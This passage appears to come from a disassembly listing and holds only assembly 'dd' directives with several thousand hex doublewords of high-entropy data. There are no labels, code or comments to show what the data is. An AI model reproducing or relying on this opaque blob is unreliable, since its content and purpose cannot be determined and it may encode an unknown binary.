		dd 0D38414h, 0EE1EE8D7h, 0FC5BC98Ch, 0A23B4100h, 9FC0D92Bh
		dd 1DF6A6h, 0D5C5AAE8h,	100C1704h, 4B97A400h, 554E5ED0h
		dd 6BBF0003h, 31D2F18Fh, 8D00BB1Dh, 0DD1B327Ch,	1C94A4C8h
		dd 406CB47Ah, 330FF9BEh
		dd 0C009058h, 18B36255h, 39A2FBh, 42B6EC82h, 2E63CD46h
		dd 3DAE0300h, 2A0D933h,	0ACF893h, 0CE5E95A2h, 0C7F35994h
		dd 0DE6EB600h, 0B7658FC1h, 6AB9002Bh, 57E34452h, 0D760F9E6h
		dd 0C0858E19h, 0DA6B001Bh, 1EE70DBh, 4438E87Dh,	4E2BBFB8h
		dd 8D46E3C0h, 4FDB0097h, 82C97988h, 5300A5C5h, 3CAEB87Dh
		dd 3EE10C50h, 9D00A0BFh, 0DA145A9Eh, 0CC035427h, 322505AEh
		dd 6770C70Ah, 2E488592h, 75F3A9h, 7FEAE0BBh, 5F0EDC04h
		dd 0A6D1A1A3h, 51F1E2h,	0D7929C67h, 68438BD3h, 0C2D1DA00h
		dd 0D6CFEE8Eh, 0C8F89DCAh, 84B91506h, 3A7045D4h, 768FED8Ch
		dd 0E580ADB6h, 0EC104130h, 514CD600h, 558374Dh,	0F3B83E12h
		dd 8C95A80h, 0FA816F9Fh, 1C1DD9E6h, 0DC1EEB58h,	345D91C0h
		dd 8E4E5Fh, 0F97D6C14h,	0B944D4C4h, 10072314h, 555E0CA4h
		dd 0B4BA12Fh, 0DD13821h, 6E3F0FDFh, 4F6583E9h, 30A100C1h
		dd 95E05F5Eh, 5A00BAEAh, 0F6C68C78h, 0C01D60D0h, 14652450h
		dd 3D26BD9Ch, 0E000CF6Ch, 0BC25B57Dh, 0D8055029h, 0A158014Eh
		dd 0A09DB4FCh, 0BF388152h, 840BDDABh, 0EC53B5ECh, 7E4C0090h
		dd 8D82AF5Ch, 0CF001527h, 0BDA4D8E2h, 8061A935h, 6800E01Fh
		dd 56F87FF7h, 0F6092h, 33AF51B3h, 4FAE1722h, 0C2BC7800h
		dd 1E29B435h, 0D9400037h, 67C51F2Eh, 0B2120E33h, 0C0299ABh
		dd 85F47084h, 0A0405DE0h, 2DEF1D46h, 9EC500F9h,	553EFF0Eh
		dd 0CB007068h, 4E956B3Dh, 5FB1D4h, 48849DAEh, 0DBE5C82Ah
		dd 51DA601h, 0C5A471DAh, 7B3C99D8h, 0E1F7007Bh,	4ED1C015h
		dd 21002AD0h, 422B3E85h, 1F68B0F2h, 0C0A0FE81h,	0DF43BBE0h
		dd 0AE0071C9h, 66270D7Dh, 0A526EAh, 22AAE36Eh, 0BB5FE216h
		dd 42F80F0Fh, 34C40020h, 0A0F1127Dh, 0CD747D8h,	761B3A60h
		dd 0CE20F2E0h, 0F8D506F7h, 280B1543h, 84DC4C07h, 2231C4CFh
		dd 0A8C87718h, 606304A7h, 831FD07Ah, 6E905FC1h,	0F1000388h
		dd 0C95DBC9Ah, 3C6FD94h, 0A8646A7Fh, 72EE4365h,	0A8D0B5h
		dd 340C7478h, 8452D6BEh, 0FCF4E400h, 0F93EB068h, 6017000Eh
		dd 0F71470E8h, 913F4436h, 49007669h, 64D1038Ch,	28906Ah
		dd 0BB2AF2FBh, 6C9908E8h, 18BE8724h, 0D185C641h, 508C61B0h
		dd 8F00E8A0h, 0AD70CF1Bh, 0A051A212h, 6D4AE0h, 0BDD2687Ch
		dd 0BCE55B83h, 0A66EB50Eh, 3A0097EBh, 61389B13h, 21E960FEh
		dd 8C8B76DEh, 69761F70h, 0B6195667h, 200AF5D0h,	260800D7h
		dd 392E2BE2h, 127CCCD8h, 4769100h, 7CFC3C36h, 90BE00F1h
		dd 4960A8ADh, 0A000A54Bh, 52C1D4F7h, 33B0942h, 0D8FD432Dh
		dd 0B7D9BBh, 21CD54BDh,	0FA7A0F1Dh, 0C719923Fh,	802A4409h
		dd 9A6F4944h, 1CA4A0CEh, 0A5B200A9h, 5DCF3709h,	0D413FB84h
		dd 9B003C16h, 0F24D339Ch, 0CED50E98h, 0AAED162h, 0CC97F60h
		dd 855ED40Eh, 0DA2985ACh, 0FCC400B8h, 0C3A5F824h, 227CD100h
		dd 8D2716D7h, 0C013F0AAh, 1ECB5FE0h, 0B730312Dh, 66E1D0C7h
		dd 479D01C4h, 926C543Dh, 0D01C359Bh, 1900901Ch,	42D2CA2h
		dd 0B1E050h, 14D5F76Ah,	3574A0CEh, 5464C700h, 6B08475Dh
		dd 3F73075Ah, 0D0F642E7h, 1B7AF236h, 0D06A300h,	53AC028Bh
		dd 0CFA801DAh, 3318742Eh, 0B14020A0h, 188CFC30h, 0F835B4AEh
		dd 0A1B630C0h, 23D50EA0h, 60D92CA1h, 7A00FD38h,	0AD77A503h
		dd 31A618h, 0F938134Ah,	0CFB71C2Fh, 37D1A407h, 0D882DAB2h
		dd 0EAFB408Dh, 0BCE40056h, 9361F43Dh, 6D3B8C92h, 0A41380E1h
		dd 9BB1535Dh, 832118A7h, 129838F7h, 8CEBAA00h, 16248894h
		dd 6EBA01DCh, 0D585FC87h, 0A4B8605Ah, 28752300h, 5D743302h
		dd 0EDDA0022h, 252BCAC4h, 0A101E2F0h, 0A9385F54h, 50C0A40Dh
		dd 92D42E97h, 85B300EFh, 0EEC07B1Ch, 6AA0C900h,	116099DCh
		dd 0BBF70013h, 87F4F21Fh, 0EF00CAFDh, 68E1CB43h, 0F15FB8h
		dd 55B61C80h, 0D69CB4B7h, 8F8AE73Bh, 8098781Dh,	9B44E3F3h
		dd 0F01F5E51h, 0E3AA8A1h, 438D8E28h, 0B81700E6h, 77D7481h
		dd 0CFE6A24h, 196522h, 0B7E177FBh, 14986199h, 0D5C93001h
		dd 50CA6B45h, 0EFDF3CF1h, 0F45D48B0h, 7B360083h, 0E2B0BF29h
		dd 0E1E25343h, 0D696B500h, 0CCA470C0h, 646A4DFAh, 3FD8A007h
		dd 7CF5D013h, 0C70750ADh, 3667B1A9h, 27E5FE10h,	0BC9900A0h
		dd 121BECFBh, 25015877h, 14895037h, 47E8D7C4h, 0D8B9507Fh
		dd 171A0393h, 0FCCA2001h, 7CF7600Fh, 0AB22A009h, 0FC04FD5h
		dd 5749EC9Ch, 8998FE8Fh, 0FC018F27h, 44C3DC32h,	6DD0B44Dh
		dd 7101094Ch, 9020B33Ch, 17A3A93Eh, 0E8C4BB0Ch,	470816h
		dd 0C16DC825h, 0D3F173A4h, 0D1F49600h, 0C42B13B2h, 0B33B0677h
		dd 90610528h, 0D53A9BEAh, 0B59C9821h, 182E7C59h, 20A1B76Ch
		dd 4900D5A3h, 0C99C15B3h, 0AC3E0EAh, 0F37E39C4h, 93A30F58h
		dd 605480FCh, 0E9A42CFBh, 260AE600h, 0C20D2891h, 9772BCh
		dd 58C08B15h, 81AA2067h, 875F793Fh, 9A6D7C13h, 467BD8E0h
		dd 55F44Ah, 0C1483275h,	0AEB07040h, 0A4ADB800h,	0B75646A6h
		dd 5ABC3D8Ah, 2000C5BFh, 0D4B5CF77h, 8203F755h,	8898348Ch
		dd 47BAE0D2h, 0A6FF0084h, 74C7DFAFh, 64007AACh,	0AEBBCD8h
		dd 3C3A5062h, 930966BDh, 9580A6FAh, 1B4989A2h, 0F9189E07h
		dd 410133ECh, 8570CF2Bh, 0A90207FAh, 31B3C4B5h,	50B007E0h
		dd 0FF834484h, 0CC3D0390h, 71FC1F94h, 0C24B9340h, 17C60676h
		dd 0FC2C61D4h, 738001AEh, 0B75D44D1h, 7565BA60h, 99E02627h
		dd 14F90A30h, 2F598FC8h, 0C738C1DEh, 0D47DFFD0h, 0A30413C3h
		dd 0EDF15CECh, 96433080h, 8BFE00E0h, 0E671D2B2h, 0A3000472h
		dd 0C6E3B8A2h, 21CEFFh,	0CC27496Eh, 539E48A9h, 22A57103h
		dd 0E005EC10h, 1F7C58A7h, 0C0842007h, 0E971BAC8h, 7000A9CEh
		dd 0CF818B3Fh, 1C092475h, 0C035B0CBh, 1626FA29h, 0A473F277h
		dd 0E914D400h, 965E3F71h, 54EF019Ch, 0E14AB080h, 0FDBBD884h
		dd 205BA4Ch, 46120AFEh,	0A6644058h, 1F990018h, 342E9891h
		dd 4A00F44Fh, 770A23B0h, 131E789Dh, 1F320A3h, 8F4C8150h
		dd 0B008BEBEh, 0BBCD204Ah, 7B7420h, 46411A11h, 0E84F2D16h
		dd 0E12C9C00h, 0B2B06399h, 0EFAECA0h, 60523878h, 0BD777E80h
		dd 1AE64DDAh, 0FE2B9C06h, 60088C1Dh, 0FDA72165h, 6E26EE4Dh
		dd 28013339h, 8CF09417h, 0C33820B7h, 7000040Dh,	0F9E63FC5h
		dd 0F4643D33h, 0F8A0C0EDh, 0D71CAB0Eh, 5D20C262h, 9D610C03h
		dd 0F9FCC300h, 4366159Bh, 0CDD22C8Ch, 46842288h, 20BC02B7h
		dd 31CC97DAh, 14C8107Ah, 46401820h, 0B29AA1FEh,	2D2FF100h
		dd 38F281ADh, 0C726031Bh, 1625F677h, 600C8875h,	917B7514h
		dd 8BC20398h, 1EE3CDFDh, 8CCBA5F1h, 207FC408h, 8B3A008Fh
		dd 62348D9h, 0E01362Ch,	9B256203h, 0C882BDF3h, 78111472h
		dd 315C3087h, 0E03A7EF9h, 5500BFC3h, 0B7A83851h, 2C9C2D97h
		dd 3C6FA429h, 2540EA8Bh, 38552980h, 94016C05h, 0D05F3B02h
		dd 0DBCCBCF6h, 91C6003Ch, 711C0DB1h, 7071144h, 0C7EA69AEh
		dd 0B0C397D7h, 29D6E808h, 44E60E10h, 93802AADh,	0D3B94A22h
		dd 0BD036D79h, 25A526B6h, 23A3B2h, 0D211EB21h, 9E41AC55h
		dd 0C9B3C200h, 86A14854h, 0EF71F9h, 85F80A68h, 0E329C170h
		dd 540DBB00h, 1AE7C323h, 0E9681825h, 0E4427135h, 0A90EA698h
		dd 0C7925A3Eh, 56C685AEh, 0F41FFE21h, 0AAAB1BB6h, 0BBE0803Bh
		dd 4560F305h, 176F6950h, 0EFD100ACh, 2A2466C6h,	5218916Ch
		dd 8631E192h, 0E07E0057h
		dd 0EE4956BBh, 8C65553h, 20AE15h, 387E5E26h, 0AD4CFB9Eh
		dd 5A44FE00h, 0B3C8E595h, 0C87F687Dh, 534C4190h, 0DDCADCD1h
		dd 25E72614h, 114236Ch,	0A9BCA1E0h, 8853181Eh, 14C71BF0h
		dd 0FFE12876h, 61B1ECB3h, 142AC80h, 0DDE8BD79h,	0C03F7D06h
		dd 0E42BA468h, 870C246Dh, 28254457h, 2161000Ch,	850A394Ah
		dd 5B001EC6h, 0C813AFFDh, 716AACBh, 0B0BD35F1h,	1C7020DDh
		dd 97030673h, 0D23ABED9h, 0E1A0AF7Bh, 9E27CDh, 3FFCDFE9h
		dd 6A58FB06h, 0B48E4300h, 76D1E6F0h, 40C60078h,	261C873Dh
		dd 0B1F4A0CCh, 0C49E2903h, 3073D158h, 0D248C518h, 3D009B27h
		dd 0A00DA4E4h, 717CCDh,	0DFCC1AF6h, 0E55AB810h,	8A3150C4h
		dd 82A72F40h, 1A7C2491h, 0F1493C60h, 80D6DAh, 219C7CCh
		dd 0A11A595Bh, 8F214A60h, 3E5E7D9Ch, 550C903Ch,	0CC1899AAh
		dd 3184295Ch, 9F09B931h, 0AEC3C410h, 0E4798A0Ch, 0C093F9C8h
		dd 0BD51612h, 0E7005B18h, 4FF6D812h, 3EE0EDB1h,	300AE05h
		dd 0EA8BD67Eh, 0A74B0C3h, 0C7B6D30Ch, 0F9EF00Bh, 19586DA2h
		dd 4CC67F80h, 0A7FC8EBAh, 0C234D800h, 2662ACD2h, 31EF61E1h
		dd 81F2A0A4h, 15F86F99h, 7AC8B921h, 0C0D900B3h,	0C61FA28Ch
		dd 0ED00EFC8h, 0A9F68659h, 3140BCBh, 64AFB08Fh,	9CF3204Dh
		dd 13CED3E0h, 0EE16F2F8h, 3F00D6A4h, 0CADA841Fh, 38DC0FA2h
		dd 5B60BACBh, 61658E6Ah, 0C4A5D600h, 8AF6DE80h,	18E40741h
		dd 30288210h, 636C508Fh, 0DD00B1ECh, 419DD7B9h,	60555F53h
		dd 697C5856h, 0B000B830h, 60073E3Dh, 29AF1Ch, 0B9205D14h
		dd 27646A36h, 9BED8103h, 0F58BBBh, 83AD86B8h, 6520DAEFh
		dd 469DD500h, 0B8B22645h, 0AE0A009Bh, 0E40383Eh, 883A3C27h
		dd 57607E09h, 0AF4A6020h, 0FBC01AEh, 0CC95C5F5h, 0F12BE554h
		dd 50613077h, 0D5DE900h, 0C7E1DBB1h, 35A13E4Fh,	0BE60AB07h
		dd 465CA0BBh, 1B03A99Fh, 1D3D6793h, 8561E621h, 3DFFC248h
		dd 2EA5901Bh, 0EC2F01D0h, 703C3D5h, 5058B233h, 0AF40309Fh
		dd 0F0383C08h, 81B46609h, 0F7200260h, 0B3AE3Bh,	86FF80C1h
		dd 0DCF1BB29h, 64607060h, 307D50BEh, 0D2B8B9FDh, 43008152h
		dd 0B19E6225h, 0E89FBA2Dh, 6B7595h, 82CA6D57h, 37F62C1Fh
		dd 0C48C0700h, 755EB4BBh, 0DBB200BAh, 3C69FECDh, 0A001F50Dh
		dd 3651827Bh, 0D8EC938Fh, 0AE8000F1h, 73750643h, 0C117EEFFh
		dd 0C000B8EFh, 3C9304EAh, 1BB90ED0h, 812F4DF4h,	70C68AC0h
		dd 0F7006C3Eh, 4B43DF16h, 735B17h, 0F5727FC0h, 2C7DB706h
		dd 0FF44F100h, 0A8622946h, 55150E2Ah, 0AF4C9710h, 77715321h
		dd 0A47ED500h, 9C4D208Fh, 9E470096h, 13F47F2Fh,	741C2A58h
		dd 0F100DEC3h, 53F7DDA4h, 81670332h, 895CB772h,	21F40830h
		dd 753DA1Ch, 2DAE1457h,	69BE51AAh, 0D73BE801h, 1E603673h
		dd 0EDBC658h, 0C6407A4h, 9CAD3D7Bh, 31401720h, 0A4A0C072h
		dd 0FD3B2A5Bh, 53F240A8h, 99672B08h, 400B6470h,	0E653F8BFh
		dd 376B0186h, 1C09BCC9h, 70518019h, 8BFF663Bh, 916500ACh
		dd 6D313B5h, 0C860079Eh, 9AD57D90h, 4E6603B7h, 58D15BEDh
		dd 0A03A46EBh, 0CEA781CFh, 5C35DA79h, 8B89DCEh,	0C16E721Ch
		dd 9D0305C9h, 4DABC4h, 0E27FAAC8h, 0F44C0B0Eh, 41F0A5E8h
		dd 76FC4025h, 0CA540138h, 0FCBA4345h, 0AF006295h, 0D3D12DEAh
		dd 0B7FB6Fh, 0C7A05A9Ah, 762A4E6Ch, 1F08F239h, 0F4DCB87Bh
		dd 0E650FDC3h, 8B781C52h, 4FFA00F0h, 5312E8B2h,	861D4CB8h
		dd 0D10C6CE4h, 98208Ah,	7490B255h, 2938A67Ah, 3593210Ch
		dd 0F60440D8h, 19DF00B4h, 543E33Eh, 315CC41Bh, 2C6D00F7h
		dd 0D2015B1h, 5385012Fh, 13F3D65Ch, 41DAC01Ah, 0DD3F7206h
		dd 10FB2Ah, 0A960A6EBh,	4CDCFA1h, 8BA0A33h, 0DA88008Fh
		dd 45604EE5h, 98E465ABh, 0F963440Eh, 0BD718037h, 33F4292h
		dd 57EDA432h, 0E164DA6Ch, 0AB604EF0h, 12101480h, 83C43FB3h
		dd 51C4008Ch, 0C65BB2h,	0AFC72DBBh, 0DC638D27h,	2858A1FFh
		dd 868AD770h, 9DFE6900h, 88169C56h, 0A2010013h,	50B453Bh
		dd 0A34486A6h, 674C00A0h, 83ABE9F4h, 0B365810Ch, 0B840F908h
		dd 2A7796EDh, 0F78701AEh, 9F608CBBh, 1D48BB32h,	3A003D13h
		dd 0C347E845h, 0B548033Ch, 74D9E5F0h, 6D80AA88h, 0DAD08500h
		dd 0DE01C96Fh, 5BB800D5h, 0CFF7F1DDh, 913C4188h, 992B80F2h
		dd 8A691838h, 0CE1F01D9h, 0DF2E50DCh, 3E93E84Ah, 3E372130h
		dd 0C85F1Dh, 22AA89F5h,	35F47259h, 3366C100h, 0BBCB823Ch
		dd 0C4430028h, 3D70AEBCh, 100C04Eh, 98D307F8h, 2B981h
		dd 0CF2CD082h, 3F7BE64Dh, 240BAE00h, 47DB6168h,	0FEA200EDh
		dd 5C441FB3h, 0F300D842h, 0EB761216h, 1E475F07h, 406ADB13h
		dd 0F89998D4h, 0C800A47Bh, 0F60C53D3h, 94004A6h, 0DDBC9AA7h
		dd 49E66380h, 0E013E1CAh, 0E3000A67h, 0F7D1700Dh, 0A5D501C7h
		dd 8177371Fh, 0D823FCF1h, 62A0B700h, 3ADEF09h, 75898F2h
		dd 11329AE7h, 9DCE1127h, 0A47086C0h, 78D17Ch, 0FAED458h
		dd 3FFF9CF3h, 0A0B051B0h, 8E59FD00h, 0DA39B27Ah, 0EBE00152h
		dd 0FFE969BBh, 46688182h, 4FABE351h, 1945D0E8h,	18BF5024h
		dd 94FEE819h, 78039C0Ch, 706809h, 28B1CD58h, 6FF0B8D0h
		dd 1F9ED100h, 6A7DB62Dh, 3690C07Bh, 377866C2h, 2BE93E00h
		dd 50080D57h, 0B1646080h, 2F59C9E7h, 0D326670Eh, 0E438E0A2h
		dd 18B478A6h, 28715AD2h, 0ACA8F7A4h, 0DA264076h, 0BB0D3C5Fh
		dd 49F069A9h, 61A1020h,	0E276006Bh, 0BC13D689h,	0FA44F8B1h
		dd 0A22C00E4h, 0C1217D0h, 8B191FBEh, 8210C986h,	6483044Fh
		dd 100E76D5h, 0C0AE728Fh, 0FC41D324h, 5F8B0771h, 9084FB59h
		dd 7925B992h, 9B3A217Fh, 2B0A8003h, 4C3F6649h, 0F2CC0099h
		dd 455BCF13h, 1903D671h, 0C81ABCB3h, 0E0C98035h, 709500B6h
		dd 78F0967Fh, 163D9454h, 0AA0400B0h, 582149BDh,	0E831075Fh
		dd 0F05D5535h, 0B0C54844h, 0F3732E00h, 0E4CA07DFh, 0B27988h
		dd 9923BB50h, 0ADA1585Ch, 7B5B7A00h, 1E0CBDFh, 0F07376h
		dd 31B89223h, 0BDC1A1FDh, 0D93DBC00h, 7088BF6Bh, 1657385h
		dd 5521F6BAh, 0D880B9DDh, 3E247699h, 8100DB62h,	49DA4DDFh
		dd 0D615002Fh, 85CD189Bh, 0F8006F1Ch, 0AFAA72E8h, 1A1033h
		dd 2CBB4CDCh, 2138DEB5h, 980E8900h, 480A4516h, 6DCA00B6h
		dd 88D6AFE1h, 1A00BB1Dh, 0D833BFD4h, 30F58583h,	0C960C561h
		dd 49E0D312h, 0CC06AC7Fh, 39F85B21h, 0AF640051h, 97E34C57h
		dd 0EF26BC47h, 8200A056h, 8443901Ah, 0D0EE0F98h, 21E0177Fh
		dd 6923CFF3h, 609FC3EFh, 7AE5FE85h, 0A52AB707h,	43F05DC9h
		dd 0B60921h, 3F1D2564h,	320B55FBh, 80CCFD00h, 3135BE7Eh
		dd 1FDA12D3h, 7B1C4E81h, 989C860h, 0B328E60Fh, 8601EC0Dh
		dd 6068729Ch, 0C5C8B929h, 8CDA0003h, 119D0CA4h,	0B4608E13h
		dd 0B3A3DB91h, 3D90B0E9h, 0BF809A52h, 6D2F15C4h, 0CF7EA496h
		dd 0A2C3D700h, 170DE3ACh, 3BE093h, 5DD37808h, 60773235h
		dd 9B79F801h, 5E428FAh,	0D7ABE8h, 3C4EF999h, 8A5E8ECDh
		dd 8084523Eh, 4D30D8F1h, 0EED77E3h, 5798CA35h, 3F6E261h
		dd 9614F88Bh, 0F4DAC606h, 0E8F72Dh, 0AD776D7Eh,	71E7BB26h
		dd 0CDCB9900h, 1320B779h, 800C379Eh, 0FB8730E6h, 0A338CAFh
		dd 0A80928EAh, 4B86620h, 0C89FE3A0h, 0EBBC90FAh, 0F600E054h
		dd 0C6AC394Dh, 33BEABh,	0ED8A57A5h, 0C0980F2Dh,	523A121Ch
		dd 879C3143h, 90AC88BCh
		dd 0E19D00D6h, 4FDDA780h, 43BDE54h, 0DCAD8042h,	1A68B4A1h
		dd 0B9B0A092h, 49C20083h, 87383C9Ch, 0E80004B3h, 4788ED21h
		dd 28CCADF8h, 1DE88562h, 0C2532EBCh, 1B46B6E2h,	0FD24F480h
		dd 310F7916h, 41E154F7h, 402FA790h, 5E6000D3h, 3E9FC993h
		dd 0AE003996h, 2063A4CBh, 2C46CCAh, 0DF1B34EFh,	0FC80D366h
		dd 3D931A50h, 8AB17100h, 0D6419774h, 0DF3B3E03h, 0E82E5C80h
		dd 232B60A4h, 3F4A1F00h, 0B369C736h, 0F3B50092h, 880F1E44h
		dd 5400ADDDh, 0FE09985Ah, 70F4B9h, 0F97B7CE8h, 338EE401h
		dd 0AFD89A50h, 796213Eh, 0FC0B0ADBh, 4C35C0B0h,	0D73A01B5h
		dd 0E97DE6EAh, 4100CFCEh, 26E8E88h, 738CAA0h, 0AAAEABDBh
		dd 0C4F4C07Ah, 0E600DD0Ch, 0B4F1E094h, 347EC41h, 25A9270Dh
		dd 78D06FCEh, 77DC280h,	0D752D300h, 3DC849Eh, 7C8B0069h
		dd 0B6968A18h, 0B2004AA1h, 0CD928277h, 92EDDEBCh, 13A20488h
		dd 8007C50Eh, 67D6DCF4h, 0AD22CD01h, 29D3A0Ah, 3865D9DCh
		dd 0A600FE80h, 0A5D14D5Bh, 0C500A868h, 933ACFDAh, 724C9Eh
		dd 469B2288h, 41DCDCAh,	2D480F01h, 0F347F889h, 3F1B6620h
		dd 0CD00C337h, 0B2D39D5Fh, 1E18E0B8h, 8D3E1977h, 0E96E0078h
		dd 26722E8Bh, 8890DCCBh, 1C202A00h, 99454BF5h, 9B02001Eh
		dd 84CD35E0h, 970F699Fh, 8D520E6Fh, 0A2E0D8EEh,	3F2600F1h
		dd 77E5BA65h, 290E949Dh, 0A0109B70h, 8B68E317h,	5CE24920h
		dd 1BEF0077h, 0F895E806h, 670324A2h, 0E7513ABDh, 0A1A0AF63h
		dd 24DBC12Dh, 0A8712Ah,	0CF157F78h, 801CEAA0h, 14C07D0Ch
		dd 62AFEB67h, 0C63A00C5h, 0C2BB01E5h, 20FD2F1Eh, 0B200F409h
		dd 6CB7E58h, 18E5F393h,	3065DC47h, 50012129h, 8BB688Dh
		dd 2E0E1DFh, 0DCF461A8h, 70240714h, 0A53B86CDh,	0E2661F7Dh
		dd 1AD66840h, 40C30Fh, 8554465Ah, 0BFB89318h, 0E4E3D80Bh
		dd 0E537805Ch, 0B16AB36h, 26A284AEh, 0D2475500h, 0F6001D9Dh
		dd 0B7835609h, 0E4B7852h, 0C9B18BEFh, 8EDC2E42h, 542B4E0h
		dd 0C495F51Fh, 0D3C06F1Ch, 0E7BC23AFh, 0D27900EBh, 0E51892CDh
		dd 0E604D04Bh, 73D7864Fh, 2790CC8h, 53DE60C1h, 0A4482A1Fh
		dd 0B2F0E7F1h, 0C595D00h, 183260EBh, 1DCBF4D5h,	0C01F2844h
		dd 0B835D9DEh, 0EA000DD4h, 0A3219E37h, 0F2F3CB38h, 0E002131Ch
		dd 5ED400C5h, 0F26308DDh, 3F0A9200h, 0EF843A86h, 16DF031Ch
		dd 33DB643Eh, 27BE79D8h, 0AE6EB800h, 4187D8EEh,	2DFF1E55h
		dd 0BCD2800Ch, 0A9DBE98Dh, 8F7F7200h, 0E7A29240h, 67CD02BAh
		dd 0EFED4563h, 0F8B1EEC0h, 8912F098h, 540EC397h, 5410A08Ah
		dd 129152E4h, 90D5A6h, 0E0A4C488h, 833B3319h, 0DA67808Ch
		dd 6B0716EBh, 74DC0094h, 0E256C2B4h, 3F008E08h,	0C1B1F23Ch
		dd 94904DDh, 16E652F4h,	5AA7E481h, 9BA47435h, 0E9005D7Dh
		dd 336CA30Dh, 304D718Eh, 892122AEh, 0EF450C19h,	17A2C5D0h
		dd 0D8301F8h, 0E0182ADCh, 3E00B8DEh, 0A2B31876h, 0C023E36Fh
		dd 8B0F0641h, 521D89D0h, 8A98CE0Dh, 0A2BB18h, 0EECAB594h
		dd 50563A1Ah, 0F40D0505h, 0F0D07746h, 23F252h, 7ED3D10Fh
		dd 70C32859h, 0A34C030Ch, 0E80A6077h, 0F4CB00C2h, 8E956A3Ch
		dd 6B00CF3Eh, 1D5FB3D9h, 0FFEAF2h, 98206D73h, 4D776C28h
		dd 8EF60F00h, 1E114066h, 457475h, 85E1ADCAh, 0B6DC70BFh
		dd 0C81F317Eh, 0B8C03CC5h, 0BDAE93D3h, 222D0058h, 79C377EFh
		dd 811CC47Ch, 974099C0h, 0F83B0D1Ah, 599F247Dh,	0F6100DAh
		dd 7108EAB7h, 9E14DE00h, 0C7B038DDh, 26E93FB1h,	55D57200h
		dd 0E0246F34h, 0BF000CF6h, 64CA984Fh, 2E9AE41Bh, 805CE82Ah
		dd 7482CEA6h, 0F10B63E9h, 4A0C5Bh, 9D88119Ch, 64DE0A97h
		dd 8C74FDh, 0CA1F38BBh,	0D279F98Ah, 82EC7B8h, 0F706B842h
		dd 0E22969E3h, 1FAF03F1h, 0EADFA9B8h, 0A6F76812h, 140B1D00h
		dd 0E07AF4h, 0C0B8FCA1h, 0AE2996FBh, 433750C0h,	7C234506h
		dd 0D43434E2h, 752C20E8h, 960570B6h, 600B6604h,	3C9F5CC0h
		dd 0D0F2072Fh, 0F02878A3h, 0CEA98E18h, 0BCD5A701h, 0D2132982h
		dd 310C8880h, 0DBF7C81h, 9AF98D00h, 9A6EDD8h, 450B017Dh
		dd 0C81235Ch, 0D54D4E5h, 786FA017h, 0C075BD01h,	9C50D65Bh
		dd 0C6918Fh, 2B898754h,	683524CDh, 7723A503h, 0ED315E0h
		dd 6904AC30h, 0C20639C0h, 0D2412B2h, 5C9F44EFh,	3D588FC0h
		dd 0CB1028AAh, 670043A1h, 0D39CD1Bh, 0EE12C00h,	0A13F16F7h
		dd 37FD007Bh, 70885BB1h, 0A00527Dh, 0E43B917Eh,	7B9D1626h
		dd 87D400E8h, 55C22F0h,	83002509h, 21CE6DF6h, 5D3CEEh
		dd 1FF1FB4Eh, 0BA957854h, 8B79B30Eh, 450F3F4Ch,	397BAD41h
		dd 7EB050F0h, 0F250C034h, 6B0C142Ah, 24EB7801h,	2048E390h
		dd 0AB292880h, 2F961376h, 0AEE4EF05h, 64C36566h, 82200223h
		dd 0F8C24FD1h, 0D20DD440h, 54861300h, 0AB1EC0Eh, 8BDD3A21h
		dd 99121F75h, 0D387005Ah, 0B8D7D2C3h, 437810C0h, 0CF9F31h
		dd 0A5E51E42h, 0B11835CBh, 9D539C00h, 0E0AFF91Ah, 4C9358AEh
		dd 0DA7B2700h, 8A1494ACh, 0C1AABD00h, 11F00BC7h, 36F80Ch
		dd 0D626BA64h, 1AC2CB68h, 4F00B4F0h, 50946548h,	8342A4h
		dd 2FC6D75Dh, 53867679h, 0B9B9E0Eh, 121A20AEh, 0EAC9ACBh
		dd 0CE97F372h, 0A5402ECFh, 9EB82C07h, 14BC8A37h, 32FE53B0h
		dd 0AF46308Bh, 68C02FA8h, 0F5B840Eh, 9EB1A042h,	1BA10Bh
		dd 1C133C14h, 24D09BCh,	8E7110C2h, 0B89C878Ch, 751A1DC1h
		dd 0F08011C1h, 90D06FAEh, 0FF0CA7A6h, 18198797h, 517986Ah
		dd 91EF74BFh, 89D1C0D4h, 560787A2h, 4323946Eh, 3B57E467h
		dd 24E38B50h, 77CC3CF5h, 0F4AFA600h, 33EDA079h,	59C89300h
		dd 0B894003h, 98650083h, 26DB12F3h, 370716D9h, 0EF862E75h
		dd 431F046h, 884F3609h,	0D05807Dh, 811D8FE3h, 64C0FAB3h
		dd 1B60E8C7h, 49DF3924h, 360004BAh, 33503A83h, 0A6019AEh
		dd 0CB5AFA49h, 0F7420061h, 80DC3710h, 0C7004DB8h, 0E4710A88h
		dd 0C55E0Bh, 0D993ECA6h, 362A55F6h, 5A7CDF00h, 6F10D2F4h
		dd 38DFC5Dh, 3EF1DAD0h,	77B86AE5h, 0DF0FEA8Ch, 80D7C6D4h
		dd 685DCEC2h, 7BB23951h, 5861007Ch, 7D85C5F4h, 2200E384h
		dd 648AFA4Eh, 0EF7EF0Eh, 4BFFC32Dh, 80DD9F7Dh, 0F9AC98EDh
		dd 6E397743h, 581C2DB5h, 0F6E082h, 5DCA8283h, 983EAF01h
		dd 0BA4DAE00h, 3B6AB116h, 0C08E828h, 0FFC2F450h, 2900B628h
		dd 47F3DB6Dh, 3BDA654h,	0C62703FAh, 8ACBD244h, 85807A8h
		dd 3E00EAFCh, 50107D71h, 546C5A0h, 367E05D1h, 99CF804Bh
		dd 9002EB9h, 0B0A0D530h, 1D568218h, 40E21F45h, 942A03E1h
		dd 0D1096E0Dh, 80668BCBh, 0DA20CCB7h, 492400BFh, 8E7E011Fh
		dd 1CF2C24Dh, 80EBC63Bh, 70659C16h, 6E9CFh, 692AF3ADh
		dd 0AE474102h, 25EEF900h, 0DA6E7ED8h, 7E50EC4h,	0E6A06A56h
		dd 0CC54C75Eh, 8F0029F8h, 0B6D848A0h, 26B964h, 5B0B0EB3h
		dd 3838758h, 1E18AE60h,	4D2DF66h, 0CF5F33ADh, 0ED410002h
		dd 0CAC5947h, 6715653Fh, 7E1C9430h, 0F5CF7FC2h,	0D40B40EBh
		dd 0A173B578h, 0E0876C8Ch, 808B7288h, 0C88D6FFAh, 56DAC403h
		dd 0CE5BE9F4h, 0F9E70028h, 0F136D4EBh, 183085F8h, 79DC4151h
		dd 47EC0039h, 9A80828Dh, 0F83ED9A7h, 9CBC87D2h,	9430AFC5h
		dd 79D1C33h, 3B4F847Bh,	7802407Ah, 0C004E93h, 0D98E15F5h
		dd 3895E588h, 0EF249D3Ch, 0E1CE0C8Bh, 163148D0h, 0C43E407Bh
		dd 28C36FD4h, 1CE37AAFh
